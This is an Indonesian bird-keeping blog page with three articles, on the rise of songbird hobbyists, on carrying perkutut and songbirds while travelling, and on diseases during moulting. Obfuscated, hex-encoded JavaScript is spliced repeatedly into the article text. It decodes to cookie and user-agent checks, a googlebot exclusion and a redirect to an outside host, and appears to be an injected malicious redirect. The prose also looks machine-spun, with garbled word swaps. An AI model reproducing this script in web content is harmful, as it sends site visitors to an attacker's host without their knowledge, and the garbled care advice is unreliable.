IBX5980432E7F390 Penggemar Burung Berkicau Semakin Bertambah Kupas Triknya - Kicauan Burung Lovebird Ngekek

Penggemar Burung Berkicau Semakin Bertambah Kupas Triknya

Penggemar Burung Berkicau Semakin Bertambah

Penggemar burung berkicau semakin bertambah-Untuk tahun ini,pamor burung berkicau semakin naik drastis.hal ini disebebkan oleh banyaknya para penggemar pemula baru yang terjun ke dunia burung berkicau.

Para pencinta burung berkicau pemula ketika ini mulai tertarik pada dunia burung berkicau ini. Keunikan burung berkicau ini lah yang menjadi daya tarik masyarakat untuk memelihara burung berkicau. Keunikan yang khas itu seakan-akan bunyi kicauannya yang merdu. Selain lantaran keunikan, ada tujuan lain masyarakat memelihara burung berkicau.Penggemar Burung Berkicau Semakin Bertambah

Tujuan lain itu yaitu untuk menerima hoki bila memelihara burung berkicau. Seperti membudidayakan burung berkicau, Dengan membudidayakan burung berkicau itu mampu mendatangkan laba yang banyak. Bila kicauan burung tersebut merdu, maka burung tersebut bisa mengikuti perlombaan kontes burung berkicau.

Fakta Burung Berkicau

Burung berkicau merupakan burung yang bisa membuat suasana hening bagi para penggemarnya. Layaknya suasana di alam bebas, suasana rumah penggemar burung berkicau pun bisa disulap menjadi seakan-akan di alam bebas. Karena setiap harinya burung terus berkicau tanpa henti, sehingga membuat rumah menjadi di alam bebas.

Jika dulu pasar burung tidak banyak yang datang, namun sekarang pasar burung sudah banyak yang datang. Para penggemar burung berburu burung yang disukainya. Tidak terkecuali dengan burung berkicau.

Para penggemar tidak segan-segan mengeluarkan uang yang tidak sedikit untuk membeli burung yang sudah disukainya. Saat ini pun, sudah banyak yang membudidadyakan burung berkicau di rumahnya masing-masing.

Burung yang ditangkarkannya pun beragam. Setelah burung tumbuh dewasa, maka burung siap di jual ke pasar burung. Jika kualitas suara burung tersebut cantik, maka burung tersebut harganya cukup besar.Penggemar Burung Berkicau Semakin Bertambah

Minat pada Burung Berkicau Lama Kelamaan Bertambah

Lama kelamaan burung berkicau mulai diminati oleh semua kalangan. Mulai dari belum dewasa sampai dengan orang sampaumur. Mulai dari kalangan atas sampai dengan kalangan yang bawah sekalipun.

Semuanya menyukai burung berkicau tanpa memandang bulu. Bagi para pecinta burung berkicau, tidak ada halangan untuk memelihara burung berkicau walaupun orang dari kalangan bawah.

Saat ini sudah dibuat organisasi tersendiri bagi para pecinta burung berkicau. Semua masyarakat yang gemar memelihara burung berkicau bisa bergabung ke dalam organisasi tersebut. Di Indonesia, sudah banyak terbentuk organisasi bagi para penggemar burung berkicau.

Di kawasan organisasi tersebut para penggemar mampu berkumpul untuk mengembangkan ilmu bagaimana cara memelihara burung berkicau yang baik dan benar.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)jbro)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)capi)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Burung Gelatik Adalah Pemaster Burung Terbaik
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Tempat Keberadaan Burung gelatik Jawa Dihutan
  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Ciri Fisik Burung Gelatik Wingko Belong/Jawa
  • Cara Memaster Burung Berkicau Menggunakan Gelatik
  • Cara Memaster Burung Berkicau Dengan Gelatik Wingko
  • Ciri Fisik keunggulan Burung Gelatik Java Silver
  • Ciri Induk Burung Gelatik Jawa Betina Bagus

Cara Membawa Burung Perkutut Dalam Perjalanan

Cara membawa burung perkutut dalam perjalanan-Dalam teknik membawa burung berkicau atau burung perkutut,kita harus selalu hati-hati.hal ini semoga kondisi burung tidak praktis stres,jika burung yang kita bawa stres,maka mampu menyebabkan kematian.maka dari itu,perhatikan saat membawa burung berkicau dan perkutut.

Saat peternak membawa burung yang gres dibeli di pasar burung, maka bawalah burung dengan cara yang baik. Dan jangan membawa burung dengan cara yang tidak baik. Karena itu bisa menimbulkan burung tidak mau berkicau setelah sampai di kawasan.Cara Membawa Burung Perkutut Dalam Perjalanan

Cara Membawa Perkutut

Cara membawa burung perkutut dengan burung berkicau berbeda. Cara membawa perkutut yaitu dengan menggunakan daerah khusus untuk membawa burung perkutut. Tempat khusus untuk membawa burung perkutut berbentuk empat persegi panjang yang terbuat dari kayu.

Tempat ini mampu dibuat sendiri ataupun kini sudah ada dijual di pasar burung.

Jika peternak ingin membeli sangkar khusus ini harganya pun relatif murah hanya berkisar antara Rp. 6.000,00 – Rp. 12.000,00 per buahnya.

Manfaat sangkar khusus ini yaitu burung perkutut akan dijamin kondusif di dalam sangkar ini dibandingkan dengan menggunakan sangkar biasa. Ketika membawa burung ke kawasan yang ingin dituju, sebaiknya tutuplah sangkar dengan kerodong.Cara Membawa Burung Perkutut Dalam Perjalanan

Apa kegunaan kerodong? Kerodong berkhasiat untuk supaya burung tidak terkena sinar matahari eksklusif pada siang hari. Namun, kalau peternak membawa burung ke kawasan yang ingin dituju itu pada malam hari kerodong berguna supaya burung tidak terkena terpaan angin malam.

Setelah burung hingga ke daerah tujuan, maka burung tidak akan stres dan akan pribadi berkicau.

Cara Membawa Burung Berkicau

Jangan sembarang ketika membawa burung berkicau. Jika sembarangan dalam membawa burung berkicau, maka burung berkicau akan terganggu kesehatannya. Jika yang peternak bawa yaitu burung jalak thailand dengan burung poksai jambul putih maka cara membawanya mampu menggunakan kardus. Usahakan jangan menggunakan besek.

Kenapa harus menggunakan kardus? Karena, kalau di kardus burung lebih leluasa, dan kaki burung tidak akan tertekuk. Kalau burung berkicau diletakkan di besek kaki burung akan tertekuk dan bisa mengakibatkan kepincangan.

Lain halnya dengan burung ketilang jambu dan burung cucak. Karena fisiknya yang relatif kecil. Burung ini bisa diletakkan di besek.

Saat diperjalanan burung harus diberikan kuliner. Pemberian kuliner tujuannya semoga burung tidak kelaparan saat diperjalanan terlebih lagi kalau perjalanan yang jauh.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)m1\-w)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Jenis Pakan Burung Kenari Sesuai Habitat
  • Merawat Kenari Sebelum Dan Sesudah kontes
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Kehidupan Burung Murai Batu di Alam Liar
  • Cara Praktis Memaster Murai Batu Bakalan
  • Cara Membuat Kandang Burung Parkit Model Kawat
  • Membuat Kandang Burung Parkit Bentuk Bateray

Penyakit Yang Disebabkan Burung ganti bulu/Mabung

Penyakit yang disebabkan burung ganti bulu/Mabung-jika burung berkicau sedang mengalami ganti bulu atau yang bisa di sebut mabung,jika kita salah dalam menanggani,maka akan banyak jenis penyakit yang di timbulkan balasan pergantian bulu tersebut.

Pada ketika burung sedang dalam era ganti bulu, maka sebaiknya burung diberikan kuliner yang bergizi dan juga vitamin. Mengapa harus diberikan makanan bergizi dan vitamin? Pemberian pakan yang bergizi bertujuan supaya burung akan tetap sehat sampai kala ganti bulu final.

Dan tujuan pemberian vitamin ialah supaya pertumbuhan bulu yang baru cepat berlangsung. Ganti bulu pada burung berlangsung paling usang 7-9 minggu.Penyakit Yang Disebabkan Burung ganti bulu/Mabung

Pada ketika era ganti bulu sudah berakhir, maka burung akan mengalami perubahan yang segnifikan pada mental dan bunyinya. Masa ganti bulu seakan-akan ini bisa dimanfaatkan oleh peternak supaya burung menirukan suara burung lainnya.

Saat ganti bulu berlangsung, janganlah menempatkan sangkar burung dikeramaian. Karena itu bisa memperlambat proses penumbuhan bulu baru, lantaran burung mengalami stres.

Menurut penelitian, 8 dari 10 burung berkicau yang sakit usang kelamaan akan mati. Apabila burung stres maka itu pasti nantinya burung akan sakit.

Maka dari itu, menjaga kesehatan burung sangat penting supaya burung tetap sehat. Berikut akan dijelaskan beberapa penyakit yang menyerang pada burung:Penyakit Yang Disebabkan Burung ganti bulu/Mabung

  • Peradangan pada Mata burung

Penyebab dari penyakit peradangan mata ini yaitu lingkungan yang jelek, air untuk mandi yang keruh. Gejala yang timbul adalah cairan yang keluar dari mata. Penyembuhan dilakukan dengan cara ketika burung terkena radang mata burung diberi obat untuk mata, dan berikan ulat hongkong pada burung.

  • Kaki yang Bersisik

Salah satu alasannya dari adanya sisik ketika burung masih anakan ialah snagkar yang terlalu sempit. Sangkar yang terlalu sempit mampu membuat sisik pada burung. Salah satu cara mencegah supaya sisik tidak keluar pada ketika burung masih anakan yaitu sangkar tidak terlalu kecil dan kandang harus lengkap dengan peralatannya.

  • Stres pada Burung

Penyebab terjadinya stres pada burung ialah karean gangguan dari lingkungan sekitarnya. Jangan biarkan burung terlalu usang stres. Karena itu mampu menyebabkan burung akan takut untuk berkicau.

Gajala yang timbul ialah apabila burung yang terkena penyakit stres ini yaitu burung berkicau maka burung berkicau tersebut takut untuk mengeluarkan kicauannya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)se(c(\-)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Cara Cepat Memaster Jenis Burung Berkicau
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Akibat Dan Gejala Murai Batu Sakit Dan Mati
  • Cara Mengobati Serak Tenggorokan Burung Murai Batu
  • Gejala Penyakit Mata Dan Pilek Burung Parkit
  • Merawat Anak Murai Batu Umur 0 Sampai 3 Minggu
  • Ciri Burung Murai Batu Bisa Masuk Kontes
  • Panduan Lengkap Cara Menyilangkan Kenari

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Penggemar Burung Berkicau Semakin Bertambah Kupas Triknya"

Posting Komentar